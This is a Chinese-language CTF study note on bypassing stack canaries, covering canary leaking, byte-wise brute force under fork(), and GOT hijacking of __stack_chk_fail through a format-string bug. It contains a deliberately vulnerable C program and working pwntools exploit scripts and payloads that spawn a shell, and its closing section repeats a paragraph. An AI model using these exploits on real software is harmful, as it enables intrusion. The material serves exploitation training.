Canary 学习
Canary的原理:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 局部变量 |
Low | |
Address
程序会在每次执行时,在栈空间中生成一个canary值,当栈溢出覆盖canary值后,程序通过比较canary值的不同来确定程序是否有栈溢出。
当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt> #当canary被修改后程序会调用__stack_chk_fail函数
当程序开启Canary的时候,我们应该如何做:
泄露Canary值:
思路:
Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。
条件:
这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程,需要俩次输入。
例子:
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
首先通过覆盖 Canary 最后一个 \x00
字节来打印出 4 位的 Canary 之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 ret 到 getshell 函数中:
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process('./ex2')
elf=ELF("./ex2")
get_shell = elf.symbols["getshell"]
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa #因为我们用0xa来覆盖0x00,所以最后Canary需要减0xa
log.info("Canary:"+hex(Canary)) //日志记录
# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()
爆破Canary
思路:
程序中存在fork()进程,虽然每次程序运行时Canary值是不一样的,但是通过fork()创建的子进程中的Canary值是一样的,fork()函数就相当于创建了一个和父进程一样的子进程,子进程会直接将父进程的内存copy到子进程中,我们可以逐个字节的爆破Canary,32位的爆破3位,因为最后一位是\x00,64位需要爆破7位。
条件:
1、要有线程,也就是要就fork()函数
2、要存在栈溢出
爆破脚本:
32bits
将图中3改为7应该就是64bits的吧。。。。
64bits
print "[+] Brute forcing stack canary "
start = len(p)
stop = len(p)+8
while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))
if res != "":
p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break
if i == 255:
print "[-] Exploit failed"
sys.exit(-1)
canary = p[stop:start-1:-1].encode("hex")
print " [+] SSP value is 0x%s" % canary
类似题目再学吧,太难了,不会啊。
劫持__stack_chk_fail 函数
已知 Canary 失败的处理逻辑会进入到 __stack_chk_fail
ed 函数,__stack_chk_fail
ed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。
参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 __stack_chk_fail
的 GOT 表,再进行 ROP 利用
BJDCTF_r2t4
考点:用格式化字符串写__stack_chk_fail 函数来 bypass canary
可以看到程序保护全开,我们用IDA看一下程序。
很明显程序有格式化字符串漏洞,但是0x38不够溢出到ret,但是程序开启了canary,而且我们又找到了后门函数,于是我们可以劫持__stack_chk_fail函数,通过修改got表来达到get shell的目的。
可以看到偏移是6,因为是64位程序前6个参数都在寄存器里,而这里aaaa是第七个,也就是栈里的第一个,又因为我们在算偏移的时候需要减去1,所以偏移是6.
exp:
#! /usr/bin/env python
from pwn import *
#context.log_level='debug'
sh=process('./r2t4')
#sh=remote('node3.buuoj.cn',28020)
elf=ELF('./r2t4')
__stack_chk_fail=elf.got['__stack_chk_fail']
boor_addr=0x400626 #后门函数
print hex(__stack_chk_fail+2)
print hex(__stack_chk_fail)
payload='%64c%9$hn%1510c%10$hnAAA'+p64(__stack_chk_fail+2)+p64(__stack_chk_fail)
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
64:0x40,对应backdoor函数地址的高两字节0x0040
9:由于格式化字符串%64c%9 h n hn%1510c%10 hnhnAAA占用了24个字节,因为是64位程序,所以偏移6+3=9
$hn:将已输出的字符数低2字节写到指定地址
1510:1510+64=1574=0x626,对应backdoor函数地址的低两字节0x0626
10 :在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节,即偏移为10
AAA:填充作用,栈对齐,使之为8的倍数
可以看一下,这就是我们输进去的payload。
这里可以看到0x60101a是高俩个字节,0x601018是低俩个字节。
覆盖 TLS 中储存的 Canary 值
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
这里可以看到0x60101a是高俩个字节,0x601018是低俩个字节。
覆盖 TLS 中储存的 Canary 值
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
参见 StarCTF2018 babystack